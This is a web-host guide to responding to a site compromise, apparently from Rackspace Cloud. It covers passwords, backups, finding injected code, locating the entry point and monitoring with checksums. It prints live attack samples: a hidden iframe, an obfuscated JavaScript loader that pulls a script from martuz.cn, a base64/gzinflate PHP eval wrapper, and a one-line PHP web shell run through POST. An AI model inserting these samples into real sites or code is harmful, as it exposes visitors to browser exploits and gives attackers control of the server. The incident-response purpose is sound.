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Recovering From And Dealing With A Site Compromise


Your site has been compromised and the initial priority is to restore to the original state. Do not be so hasty that you remove all evidence that can be used to track down the source of the compromise. Please follow the following suggestions for responding to a site compromise incident.

Contents

Step One: Secure your workstation

Most site compromises result from the harvesting of valid login credentials (FTP/SFTP, or web site CMS logins) from the workstation used to update the afflicted site. There are many vectors an attacker can use to gather these logins and passwords from your workstation. These include: viruses, trojans, malware, spyware, email exploits, and worms. In order for your site to stay secure you MUST maintain a secure workstation.

Tips for maintaining a secure workstation:

  • Keep your operating system patches up to date (windows update, software update on mac)
  • Keep your web browser of choice up to date
  • Use a virus scanner, perform regular scans, keep the virus definitions up to date
  • Use a malware/spyware scanner in conjunction with your virus scanner
  • DO NOT install browser plugins from untrusted parties
  • DO NOT install software downloaded from the internet from untrusted parties
  • Use SFTP instead of FTP to perform site updates
  • Do not respond to, or click on links in emails that request changes to login credentials for any party

If your workstation is not secured, even if the site compromise is resolved, it is likely the malicious party will harvest your new passwords and compromise your site again.


Step Two: Change all passwords

Assume all passwords have been compromised related to the hack. If any of your scripts contained passwords for databases and such, assume those have been compromised. Use strong passwords when choosing a new password.

  • Do not use dictionary words.
  • Use at least 1 number
  • Use at least 1 non-alphanumeric character
  • Use mixed case
  • The password should be at least 7 characters long
  • Do not use 1337 sp34k .

Bad Examples: passw0rd, username1, sunshine, guessme

Good Examples: p#sS8oR=, m3161Tx, The[s]HOWMUstGoOn

If you didn't before, start changing your password regularly. A constantly changing password is much harder to brute force.

Key Change

This information brought to you by Wordpress.org.[1]

If you are running a Wordpress site, and have been recently compromised, you will want to change your keys.

Beginning with Version 2.6, three (3) security keys, AUTH_KEY, SECURE_AUTH_KEY, and LOGGED_IN_KEY, were added to insure better encryption of information stored in the user's cookies. Beginning with Version 2.7 a fourth key, NONCE_KEY, was added to this group.

You don't have to remember the keys, just make them long and complicated or better yet, use the the online generator. You can change these at any point in time to invalidate all existing cookies this does mean that all users will have to login again.

Example:

- define('AUTH_KEY', ':dr+%/5V4sAUG-gg%aS*v;&xGhd%{YKC^Z7KKGh j>k[.Nf$y7iGKdJ3c*[Kr5Bg');
- define('SECURE_AUTH_KEY', 'TufWOuA _.t>#+hA?^|3RfGTm>@*+S=8\"\'+\"}]<m#+}V)p:QijXLq,<h\\`39m_(');
- define('LOGGED_IN_KEY', 'S~AACm4h1;T^\"qW3_8Zv!Ji=y|)~5i63JI |Al[(<YS<2V^$T])=8Xh2a:b:}U_E');
- define('NONCE_KEY', 'k1+EOc-&w?hG8j84>6L9v\"6C89NH?ui{*3\\(t09mumL/fFP_!K$JCEkLuy ={x{0');

A secret key is a hashing salt which makes your site harder to hack and access harder to crack by adding random elements to the password.

In simple terms, a secret key is a password with elements that make it harder to generate enough options to break through your security barriers. A password like "password" or "test" is simple and easily broken. A random, unpredictable password such as "88a7da62429ba6ad3cb3c76a09641fc" takes years to come up with the right combination.

Step Three: Back up the compromised data

Before you modify any of the compromised data you should create a backup to preserve as much information as possible.

FTP and SFTP

One backup approach is to access your content via FTP and download the compromised files. While this would preserve your data it may not preserve any custom-set file permissions.

You can use SFTP to access your site's data in a similar fashion to FTP, but the connection is more secure.  You can use a client like Filezilla or WinSCP to back your files up via SFTP if you set their connection type to "SFTP".  In a Linux or Mac environment an SFTP download will normally preserve any custom file permissions on your backup.

You can view more information about FTP and SFTP clients in this article.

File Permissions on Windows

SFTP won't preserve permissions when downloading to a Windows machine, but some SFTP clients like Filezilla and WinSCP do offer the ability to edit file permissions remotely. That would allow you to set the permissions manually when you restore the backed-up files.

If you only have access to a Windows machine but really need to preserve permissions you might set up a virtual environment running Linux (using a program like VMWare) and use SFTP from within that environment to make your backup.

Cleaning up

Once the current state is backed up, you have two options:

  • Remove everything and restore from the last known good copy of the site
  • Leave the site as is and try to simply clean the malicious code.

Either way, save the back up so you can use it for investigation. Imagine that your site is a crime scene. If you disturb the crime scene with even the smallest change, you may lose a crucial piece of evidence that could have been used to identify the criminal.

Step Four: Identify what has been compromised

There are many ways to identify a compromised. The easiest to detect is blatant defacement of the site, such as a message that reads U R H4x0ReD! that has replaced all content of the index page. Unfortunately, this type of compromise has fallen out of favor. Recently compromised sites try to remain undetected so that the resources can be used as long as possible. Back-doors are dropped in and hidden links are inserted to generate website traffic and often even profit via AdSense or to improve Google search rankings. Sometimes the first indication of such a compromise is a Google Safe Browsing warning that the site contains malicious content (malware) or spam. Sometimes the site gets added to spam blockers such as SpamHaus because a mass e-mail spam campaign is utilizing your website resources or contains a link to your website in the spam messages. In the later case, pages are generally added in the document root that contain spam or redirect to spam sites to sell Viagra or similar products.

Example injected code

Search the source code for injected--and often hidden--links or scripts or iframes (inline frames). Use a program that can show the differences between the original content and the current content, such as diff(1) on Linux. Each finding should be documented and you should try to make a simple definition of the change. For example, if the following code was found in your index.html page:

<body><iframe src="http://somewebsite.cn/index.php" width=135 height=131 style="visibility: hidden"></iframe><center>

In this example, the hacker inserted a hidden iframe immediately following the HTML body tag. This is easy to automate with a script because the script can search for the opening body tag, and simply insert code after it. A hacker could do it with a single line of Perl code.

Locating compromised files

The example above is very straightforward and very easy to identify and rectify. Identify it by recursively iterating all site content while searching for three key words: body, iframe, hidden.

Where malicious code is usually inserted

These simple HTML code injections--iframe hijacks in this case--generally get inserted in one of 3 places:

  • the very top of the web page
  • the very bottom of the page
  • right after the HTML body tag

Since it is easy to automate a script to insert at these points, you may want to slightly modify your search criteria as to catch all three common scenarios. Once you have your list of likely compromised files, you can use this as input for a routine to repair the files.

Dealing with obfuscated code

In the previous example, there is one key factor involved: the iframe was injected using plain HTML. This is common, but quickly becoming less common because the plain HTML code can easily be removed with a search and replace. Remember, the attackers that are compromising sites these days want to remain undetected. If they can obfuscate the hack so that its not clear what the code does without evaluation, then they significantly increase the chance that you might not even notice it while scouring over the source code.

Assume a scenario where Google Safe Browsing warns that the site contains links to malicious.cn, that are known for hosting spyware or malware. Instinctively you search over your source code looking for malicious.cn, but find nothing. Odd. You browse your site and view the source code. Sure enough, there is it in plain HTML, an iframe to malicious.cn. So why wasn't it in the source code? There could be several explanations; here are a couple:

  • The content could be injected using a client side scripting language such as javascript that sources the script externally not inline.
  • The content could be generated server side using ASP or PHP and the URL is encoded using base64 in the source code.

Let's take one example for both server side and client side scripting languages.

Client-side with Javascript

Using javascript one could obfuscate the iframe hijack code in many ways to prevent a simple text search from finding it. The two most common methods that we've come across are using the unescape() method to replace characters with their hexadecimal value equivalent, and using concatenated variables to construct full text strings. I will use a real world example to show how both methods of obfuscation are commonly being used (though some characters are removed to try to avoid triggering browser security checks).

<script language=javascript><!--
 
(function(){var hiT='%';var Awi5N='var:20a:3d:22:53cr:69ptE:6e:67ine:22:2cb:3d:22Ve:72sion()+:22:2c:6a:75:3dnavi:67ator:2eu:73erAg:65nt:3bif:28(u:2eind:65:78Of:28:22C:68ro:6de:22:29:3c0):26:26:28u:2eindex:4ff(:22Wi:6e:22):3e0):26:26:28u:2eind:65xOf:28:22:4eT:206:22):3c0):26:26(docu:6d:65nt:2ec:6fo:6bie:2e:69:6e:64:65xOf(:22m:69ek:3d1:22):3c0:29:26:26(ty:70:65o:66(:7arvz:74s:29:21:3d:74ypeof:28:22A:22))):7bzr:76:7ats:3d:22A:22:3beva:6c(:22if(window:2e:22+a:2b:22:29j:3dj+:22+a+:22Major:22+b+a+:22:4di:6eor:22+b+a+:22:42:75i:6c:64:22:2bb+:22j:3b:22:29:3bd:6fcu:6dent:2ewr:69:74e:28:22:3cscri:70t:20s:72c:3d:2f:2fmart:22:2b:22:75z:2e:63n:2fvid:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fscrip:74:3e:22:29:3b:7d';var VAIP=Awi5N.replace(/:/g,hiT);var rMQQz=unescape(VAIP);eval(rMQQz)})();
 
--></script>

That looks pretty much like garbage, right? Well, that alone should raise a big red danger flag. Who codes legitimately like this? Answer: People trying to hide information. Let's quickly dissect this script.

var hiT = %; 

This will be used later in a search and replace function. The unescape() function treats % as the delimiter token before a hexadecimal value. People wise to the unescape hack might start searching for %NN. That search for %NN would return no results since this is a string of :NN. Just one more level of obfuscation to help keep the hack undetected.

var Awi5N = var:20a:3d:22:53cr:69 ... :3b:7d; 

Now I will mention how both variable names mean absolutely nothing. The reason for using these pseudo random variable names is to add obfuscation. This variable stores a string of mixed hexadecimal ASCII values and plain text. This variable is the important stuff; the malicious content that when evaluated later will insert the iframe:

var VAIP=Awin5N.replace(/:/g,hiT);

The new variable will contain the same string assigned to Awin5N, except now colon is replaced with the proper delimiter for unescape(), the percent sign. Below is the resulting string stored in VAIP:

'var%20a%3d%22%53cr%69ptE%6e%67ine%22%2cb%3d%22Ve%72sion()+%22%2c%6a%3d%22%22%2c%75%3dnavi%67ator%2eu%73erAg%65nt%3bif%28(u%%2eind%65%78Of%28%22C%68ro%6de%220)%26%26%28u%2eindex%4ff(%22Wi%6e%22)%3e0)%26%28u%2eind%65xOf%28%22%4eT%206%22)%3c0)%26%26(docu%6d%65nt%2ec%6fo%6bie%2e%69%6exOf(%22m%69ek%3d1%22)%3c0%29%26%26(ty%70%65o%66(%7arvz%74s%29%21%3d%74ypeof%28%22A%22)))%7bzr%76%7ats%3d%22A%22%3beva%6c(%22if(window%2e%22+a%2b%22%29j%3dj+%22+a+%22Major%22+b+a+%22%4di%6eor%22+b+a+%22%42%75i%6c%64%22%2bb+%22j%3b%22%29%3bd%6fcu%6dent%2ewr%%69%74e%28%22%3cscri%70t%20s%72c%3d%2f%2fmart%22%2b%63n%2fvid%2f%3fid%3d%22%2bj+%22%3c%5c%2fscrip%74%3e%29%3b%7d'

Here is another new variable with a random name:

var rMQQz=unescape(VAIP);

This variable will be used to hold the results of translating all the %NN values into their ASCII character equivalent. Below is the resulting un-encoded string stored in rMQQz:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

So the garbage evaluates to even more obfuscated Javascript. This time, the variable concatenation is the primary method of obfuscation.

Below I will reduce the code a few changes at a time, like doing math. I've included several iterations so that it doesn't look like magic to those of you not very familiar with Javascript. I have included line numbers in hopes to increase clarity.

For iteration 1, I write it out with normal indention and white spaces:

1: var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
2: if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
3: {
4: zrvzts="A";
5: eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
6: document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
7: }

For iteration 2, we interpolate the u variable:

1: var a="ScriptEngine",b="Version()+",j="";
2: if((ScriptEngine.indexOf("Chrome")<0)&&(ScriptEngine.indexOf("Win")>0)&&(ScriptEngine.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
3: {
4: zrvzts="A";
5: eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
6: document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
7: }

The first conditional checks my userAgent string. The first 3 parts of this conditional evaluate true if a browser other than Google Chrome is on a Windows platform that is not Vista. Just to illustrate the idea, my userAgent string is:

userAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11

The fourth part of the conditional checks if a cookie containing miek=1 exists. The reason for this cookie is not clear. The cookie could be manually created on the attackers browsers so they can test the links without getting exploited. The last part of the conditional checks if variable zrvzts is the same object type as a string. This appears to be a sentinel value preventing the code from being evaluated more than once when the page loads.

Finally we get into the code block. The sentinel value is set in the first line of this block (line 4). The next line (line 5) could be interpolated as follows:

eval(if(window.ScriptEngine){ j = ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion(); })

Here the script checks if the ScriptEngine function is defined and returns a string. This is another browser sniffer to validate that the target is a Windows-based browser. If it is Windows-based, then it gathers the Major, Minor, and Build versions and assigns the value to variable j. These will be used in the next line of code:

document.write(<script src=//martuz.cn/vid/?id=Major+Minor+Build></script>);

Finally we have reached the portion of code that has been setting off alarms with Google Safe Browsing. This line inserts HTML into the web page that includes a script from a remote URL that is specifically crafted to exploit a particular version of the browser.

So there we have it. The 3 key items that should flag this as malicious code are:

  1. The use of unescape()
  2. The use of eval()
  3. The large block of obfuscated code

When all three of those items exist, it's almost guaranteed that the code is malicious. Search for this combination of coding elements. You might even start searching for all Javascript. If your site contains a lot of Javascript, then add unescape or eval to the search. Visually inspect all the results that the search returns. Keep your eyes peeled for blocks of obfuscated code. If the code is malicious, then automate a search and replace all of the code using an inline edit one-liner, such as the examples presented previously. Perl, sed and Ruby all have one-liner execution options, to name a few tools that could be used.

Server-side with PHP

The same principles apply server-side that applied to client-side scripting languages. When trying to identify malicious content, remember that obfuscated is probably malicious. In the following example I have included 2 more layers of obfuscation to the previous example of obfuscated Javascript code. The Javascript code is now being compressed using gzdeflate and then the resulting output is encoded using base64, which is the common MIME type used to encode binary data for programs that expect only ASCII character data. Below is what the compressed and base64 encoded data would roughly look like:

<?php
eval(gzinflate(base64_decode('ZVNNb9swDL3nV3SHITKyLKlsSwkTFwiGHXboZkOVOW2oa/0qbYfx8p2TtsgGFbj4+P5DO9b03j6u7mrMpjr442O6lBBexu/265nLGiL03nqpJFb4Nqbn66x2z+fr6j98PFpV+zOb4CXyuIc+Ac0tg0ILZ19xmEBSFdaQnmRgfCkwXJWy+4CAEQU244yhSPpRocZquuQnHbg4xtcziCSMsOYu0K4BvYIgN98IQoVPIDZNBSIPZbcQm3UEXPhrM6bYF0iKgiHjh6M2OY8gtv/zUPplEobEPuKcIpD/irK8Mj2WC61xi+MUWF47VMX5t96FJAhRwWfE7C+c8HYSoiaDVPcKco1UzBcMpGqGK8ik9YRb8kgmr7WtxoYOJBBFIPW1ASmQ37XBSIqgS3ZQW74DjVhXrifKGA62DPCTNOC4/R/V6dyHC+0OEMSU4G/YNx/EYIGxqMVLQmHKX05LlGPwrvi/WuXGgnsH07ehkbWjKcFoPrFjfC+M5xsuJZNV1QpbtMr97HuMTQboz2zePHQ0lIDYb99mIpwqZuQOZhZZ8OX75nfm8/NrY+K2PZClkSc09w8P16wvbWtUbRnxox0aeWY+Ev2OWLSbLZd3+9X4m8z+AA==')));
?>

Again, notice the eval() function being used. Malicious Javascript and PHP commonly use eval() to execute the code. Searching for eval, base64, and unescape are all good key words that might turn up some malicious obfuscated code. In this particular example, to decode the data all you need to do is replace the eval() with echo(). The obfuscated code is being encoded, not encrypted. Encoded data is easily recovered and does not require a key. All of the encoding algorithms discussed thus far have an encoding and complimentary decoding algorithm with a similar name. Below is the results from simply replacing eval with echo:

<script language=javascript><!--(function(){var hiT='%';var Awi5N='var:20a:3d:22:53cr:69ptE:6e:67ine:22:2cb:3d:22Ve:72sion()+:22:2c:6a:3d:22:22:2c:75:3dnavi:67ator:2eu:73erAg:65nt:3bif:28(u:2eind:65:78Of:28:22C:68ro:6de:22:29:3c0):26:26:28u:2eindex:4ff(:22Wi:6e:22):3e0):26:26:28u:2eind:65xOf:28:22:4eT:206:22):3c0):26:26(docu:6d:65nt:2ec:6fo:6bie::64:65xOf(:22m:69ek:3d1:22):3c0:29:26:26(ty:70:65o:66(:7arvz:74s:3d:74ypeof:28:22A:22))):7bzr:76:7ats:3d:22A:22:3beva:6c(:22if(window:2e:22+a:2b:22:29j:3dj+:22+a+:22Major:22+b+a+:22:4di:6eor:22+b+a+:22:42:75i:6c:64:22:2bb+:22j:3b:22d:6fcu:6dent:2ewr:69:74e:28:22:3cscri:70t:20s:72c:3d:2f:2fmart:22:2b:22:75z:2e:63n:2fvid:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fscrip:74:3e:22:29:3b:7d';var VAIP=Awi5N.replace(/:/g,hiT);var rMQQz=unescape(VAIP);eval(rMQQz)})();--></script>

That should look familiar. It is the obfuscated Javascript that we decoded previously. As you can see, using a combination of server-side and client-side scripting languages--as well as a healthy dose of encoding--it is very easy to hide the source of malicious content. However, by obfuscating the content, the attacker creates a few easily identifiable clues. Now that we know some of those clues, (eval, unescape, base64_encode, gzinflate, etc), we can better track down and identify the source of the malicious content.

Step Five: Find the vulnerability

Up until this point, all we have been doing is identifying the results of the vulnerability. The next step is to plug the hole so that it does not continue to be exploited. Again, the possibilities are too numerous for us to cover them all, so instead we'll mention a few of the most common that I have found, and give a real world example.

Passwords

The first thing we did was to change all passwords. If the attacker knows the passwords, there is no stopping him from doing anything. The password could have been compromised many ways. One possibility is that the password was weak and easily guessed or brute forced. Setting the password to something as trivial as password is just inviting trouble. Choose a strong password. The password could also have been sniffed off the network. If you use unencrypted protocols such as vanilla FTP, then the password is sent in the clear. Anyone capable of eavesdropping on the network traffic could extract the password. Password protected URLs using Apache's mod_auth_basic (.htpasswd) offers no encryption. This, too, could be easily picked up using a network sniffer or the password could brute forced. Oftentimes administrative pages are protected using this type of access control, so it's important to know the weaknesses that are inherit to it. Review every resource protected by password authentication--this includes databases--and make sure the passwords are transmitted and stored encrypted.

Third party drop-ins

If you are using a third party drop-in such as one of the popular Content Management Systems--WordPress, Joomla, Drupal, Movable Type, TypePad, Wordsmith, DotNetNuke, PHP Nuke, etc.--keep up to date on patches/updates. Since so many sites use these drop-ins, attackers know that if they can find a vulnerability in one of these, then there are thousands of sites that they can find to exploit and compromise. WordPress is currently the most popular CMS. Professional websites that get millions of hits a day use it. According to their site, hundreds of thousands of sites use it; imagine how that appeals to attackers. Hackers make extraordinary efforts to discover vulnerabilities in WordPress because of the large footprint of users they could compromise using that single vulnerability. Do not assume that if it's a 3rd party application it is secure. If your site has been compromised, and you use a 3rd party drop-in, check for and apply any available updates immediately and consider consulting the vendor's forums to determine if other users have been affected and whether a new patch will be made available soon.

Weak input validation

Any part of your site that allows user input should be validated. This is the most common software vulnerability. The repercussions of not validate vary, but none of them are good. A common side effect is buffer overflows. Buffer overflows can cause the application to crash, return unexpected results, or worse case give the attacker control of the instruction pointer. It is not only text input that needs to be validated; content type must be validated as well. Now we will use a real world scenario as an example.

There was an instance where multiple web sites were flagged by Google Safe Browsing for containing malware or spam. After investigation, it was discovered that nearly every HTML page had malicious links embedded that directed users to a site that attempted to exploit the browser. A single user modified all of the compromised content. This was a big clue in helping narrow down the source of the vulnerability. While searching for all content owned by this user for binaries or scripts--this was done by multiple searches on key words like <?php or #!/ or file extensions, or file types using the Linux file(1) utility--one particular file stood out among the others. There was a file with the extension of .php in the images directory. The related website allowed users or site members to upload their own image for their avatars when posting in the forums. The PHP script contained this very trivial, yet equally effective one liner:

<?php
if(isset($_POST['e'])) eval(base64_decode($_POST['e']));
?>

This elegant one liner allows arbitrary execution of PHP code passed to the script via the POST HTTP header variable of e. Again, we find eval and base64_decode are being used. Since the images path is going to be used to display the avatars, the URL is public, which makes this exploit available to anyone who knows the name of the PHP script, or any member that can upload their own avatar.

The script should have validated the content type before allowing it to be uploaded. Below is a snippit of PHP code that could be used to validate the content and ensure that the image size is reasonable for avatars. This could be used to patch the hole:

if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/x-png")) && ($_FILES["file"]["size"] < 20000))

Input validation exploits are by far the most common method to exploit a site. The more common vulnerabilities that lack of input validation leave open are Cross Site Scripting (XSS), SQL Injections, and Cross Site Request Forgeries (CSRF). These vulnerabilities have existed since the 90s and continue to get exploited due to poor coding practices. OWASP.org provides good information on secure coding practices.

Error Pages

This is simple: do not allow debug info to be presented outside of a testing environment. Some languages default behavior is dump verbose errors including the 10 lines of code around the line that caused the exception, as well as the full path to the script. If an attacker can cause your page to have an exception, then they can learn the inner workings of the script and inside information about where things are on your site. Disable this feature. Error pages should simply state that an error has occurred. Make custom error pages to ensure the customer only sees what you expect them to see. Do not allow the attacker to easily reverse engineer your scripts by divulging the debug information.

Shared Hosting

Last, but certainly not least, are the extra precautions to take when using shared hosting, such as the Rackspace Cloud Sites. The environment is shared, so you must rely heavily on file level ACLs to restrict access. Under no circumstance should any data be world or everyone writable, and in most all cases, world/everyone does not even need read access to the files. Some situations require that directories be readable/listable and executable by everyone/world. Use the policy of least privileged. Only give the bare minimal access to the file required for the site to work. If you are uncertain of what those permissions are, contact support and they can assist you. If you had files or directories that are everyone/world writable, then those are prime targets for the attacker. Change them immediately to more secure permissions. Temp data is likely being stored in the default location, which is usually the same place for all users. Again, take special precautions in these situations to protect sensitive data.

Step Six: Clean Up

Now that you have identified the compromised content, and plugged the vulnerability, you can proceed with restoring the original content.

See the previous examples of how to use in-place edit one-liners to automate searching and replacing bad content.

Step Seven: Preventative/Counter Measures

Here is where we will discuss some tips to help improve security and awareness.

Monitor File Changes

Rackspace Cloud Sites offers the ability to schedule jobs to execute. People know this as batch jobs or--in the Linux world--as cron jobs. You can create a job that monitors the integrity of your content for changes. Message Digest 5 (MD5) is a hashing algorithm that takes all of the bits of a file, throws them in a blender with some crazy hashing algorithm, and generates a relatively unique value; this value is called the checksum of the content. If the file content changes even by one bit--a to b--the checksum should be different. Below we can see how the difference between the upper case and lower case C in cloud drastically changes the checksum:

$ echo "The Rackspace Cloud" > myfile
$ cat myfile
The Rackspace Cloud
$ md5sum myfile
c1827b3a145491bd5593326d2bb106b8 myfile
$ echo "The Rackspace cloud" > myfile
$ cat myfile
The Rackspace cloud
$ md5sum myfile
bdc973f53259675a354974e6618b5a51 myfile

With this information at your disposal, it is not difficult to make a script that will check all the content of your site (or specific files if you have lots of content) and notify you if the checksum has changed. Schedule the script to run daily or whatever interval is reasonable for your situation. If a checksum has changed, verify that it is a change you have approved. If it is not a change you expected, investigate immediately to ensure your content has not been compromised. Be aware that your script can also become compromised, so it's a good idea to keep it out of the website's document root.







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